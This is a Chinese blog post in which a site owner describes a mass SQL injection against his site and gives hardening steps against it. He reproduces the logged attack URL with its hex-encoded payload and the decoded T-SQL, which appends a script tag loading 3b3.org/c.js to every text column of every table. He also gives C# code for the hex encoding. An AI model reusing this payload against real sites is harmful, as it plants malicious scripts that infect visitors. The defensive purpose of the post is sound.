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  • 四步堵死3b3.org c.js注入

    建议大家封锁这个IP,俺百度了一下,发现也有类似的人被攻击。还好,俺的查询语句都是采用参数,如果是拼凑的话,估计惨了。

    这也给了俺们一个教训,就是当你拼凑sql后不要有侥幸心理。

    这是如下的链接地址:

    http://www.kilonet.cn/web/Info.aspx?g=info&c=CT0147&id=200811240069';DeCLaRE@S NvArCHaR(4000);SeT@S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200aS NvArChAR(4000));ExEc(@S);--

    其实这个网站俺基本上都不去管了,因为没时间去完善和打理它,俺加了在线人的活动记录,可惜没保存到日志里。准备有空把日志完善下。免得不明不白地中招。

    转换后的代码是:

    Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From   Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')Fetch Next From   Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor

    这是查询这个IP的资料

      74.222.6.95
    • ·本站主数据: 美国
    • ·本站辅数据: 还没人提交数据
    • ·参考数据一: 美国
    • ·参考数据二: 美国

    黑客代码SQL注入部分生成:

            /// <summary>
            
    ///字符串转换为16进制
            
    ///using System.Text;
            
    ///using Microsoft.VisualBasic;
            
    /// </summary>
            
    /// <param name="Data"></param>
            
    /// <returns></returns>
            static string ToHexString(string Data)
             {
                 StringBuilder sb
    = new StringBuilder("0x");
                
    foreach (char c in Data)
                 {
                     sb.Append(Conversion.Hex((
    int)c)).Append("00");
                 }
                
    return sb.ToString();   
             }

    四步堵死3b3.org c.js注入

    1.不要使用sa用户连接数据库

    2、新建一个public权限数据库用户,并用这个用户访问数据库

    3、去掉角色public对sysobjects与syscolumns对象的select访问权限

    [用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”

    4、通过以下代码检测(失败表示权限正确):

    DECLARE @T varchar(255),

    @C varchar(255)

    DECLARE Table_Cursor CURSOR FOR

    Select a.name,b.name from sysobjects a,syscolumns b

    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

    OPEN Table_Cursor

    FETCH NEXT FROM Table_Cursor INTO @T,@C

    WHILE(@@FETCH_STATUS=0)

    BEGIN print @c

    FETCH NEXT FROM Table_Cursor INTO @T,@C

    END

    CLOSE Table_Cursor

    DEALLOCATE Table_Cursor

    在服务器的IIS中,找到这个被挂马的网站属性,主目录中―配置中---找到.asp及.aspx的影射,将里面的中的HEAD操作与TRACE操作删除,只保留GET与POST就可以解决,

    注意删除HEAD操作与TRACE操作完全不会影响正常的网站访问.正常的网站并不需要这两个操作

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  • 原文地址:https://www.cnblogs.com/zzxap/p/2175881.html
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